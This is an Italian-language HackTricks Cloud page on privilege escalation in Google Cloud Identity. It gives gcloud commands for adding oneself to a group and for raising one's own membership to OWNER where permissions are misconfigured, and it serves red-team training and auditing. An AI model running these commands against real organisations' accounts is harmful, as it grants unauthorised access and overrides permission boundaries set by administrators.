GCP - Cloudidentity Privesc

Impara e pratica l'Hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

Cloudidentity

Per ulteriori informazioni sul servizio cloudidentity, controlla questa pagina:

GCP - IAM, Principals & Org Policies Enum

Aggiungiti a un gruppo

Se il tuo utente ha abbastanza permessi o il gruppo è configurato in modo errato, potrebbe essere in grado di aggiungersi come membro di un nuovo gruppo:

gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER

Modifica dell'appartenenza al gruppo

Se il tuo utente ha abbastanza autorizzazioni o se il gruppo è configurato in modo errato, potrebbe essere in grado di autoassegnarsi il ruolo di PROPRIETARIO di un gruppo di cui è membro:

# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>

# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER

Impara e pratica l'hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.